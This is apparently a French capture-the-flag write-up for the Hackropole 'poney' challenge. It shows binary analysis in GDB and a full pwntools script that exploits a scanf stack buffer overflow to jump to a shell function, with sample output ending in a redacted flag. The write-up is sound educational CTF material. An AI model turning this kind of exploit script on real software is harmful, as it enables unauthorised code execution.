Poney | Hackropole
Poney | Hackropole
Poney
Ressources
- Lien : Hackropole/pwn/poney
Analysis
Informations
1
2
3
4
5
6
file poney
poney: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06fdfc3c264bdc167a0855288210c06e16ce805e, not stripped
checksec --file=poney
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 1 poney
No canary
NX enabled
No PIE
Recherche de la vulnerabilitée.
Dans GDB, nous pouvons voir quel va être le but de notre exploit.
1
2
3
gef➤ info functions
0x0000000000400676 shell
0x0000000000400689 main
Nous gardons l’adresse de shell() pour plus tard
Voici ce qui est interessant dans le code de main.
1
2
3
4
5
lea rax,[rbp-0x20]
mov rsi,rax
lea rdi,[rip+0xea] # 0x4007b5
mov eax,0x0
call 0x400570 <__isoc99_scanf@plt>
Le buffer est définis à 32 octets [0x20].
En plaçant un breakpoint sur la fonction scanf, on voit que la chaîne de format passée est %s.
1
2
3
4
b *__isoc99_scanf
r
─── registers ────
$rdi : 0x00000000004007b5 → 0x443b031b01007325 ("%s"?)
Cela confirme qu’il lira jusqu’à rencontrer un octet nul.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Give me the correct input, and I will give you a shell:
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
0x00007fffffffd938│+0x0000: "CCCCCCCCDDDDDDDD" ← $rsp
x/x $rsp+8
0x7fffffffd940: 0x44444444
info frame
Stack level 0, frame at 0x7fffffffd940:
rip = 0x4006db in main; saved rip = 0x4343434343434343
Arglist at 0x4242424242424242, args:
Locals at 0x4242424242424242, Previous frame's sp is 0x7fffffffd940
Saved registers:
rbp at 0x7fffffffd930, rip at 0x7fffffffd938
Cela confirme que nous pouvons contrôler RIP à partir de 40 octets écris.
Exploit
Voici le payload à envoyer
1
2
3
4
5
offset = 32 + 8
shell = p64(0x0000000000400676)
payload = b""
payload += b"A" * offset
payload += shell
Plus qu’a envoyer le payload.
1
2
3
4
5
print("[<]", target.recvuntil(b">>> "))
print(f"[>] {payload}")
target.sendline(payload)
target.interactive()
Exploit complet :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
from pwn import *
import argparse
def get_args():
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument("-?", "--help", action="help", help="show this help message and exit")
parser.add_argument("-l", "--local", help="File path to the binary", type=str)
parser.add_argument("-p", "--port", help="Remote port", type=int)
parser.add_argument("-h", "--host", help="Remote host", type=str)
args = parser.parse_args()
return args
def main(args):
if args.local:
target = process(args.local)
elif args.host and args.port:
target = remote(args.host, args.port)
offset = 32 + 8
shell = p64(0x0000000000400676)
payload = b""
payload += b"A" * offset
payload += shell
print("[<]", target.recvuntil(b">>> "))
print(f"[>] {payload}")
target.sendline(payload)
target.interactive()
exit(0)
if __name__ == "__main__":
args = get_args()
main(args)
Obtention du flag
1
2
3
4
5
6
7
8
./exploit.py -h 127.0.0.1 -p 4000
[+] Opening connection to 127.0.0.1 on port 4000: Done
[<] b'Give me the correct input, and I will give you a shell:\n>>> '
[>] b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv\x06@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ cat flag.txt
FCSC{725d.............}
This post is licensed under CC BY 4.0 by the author.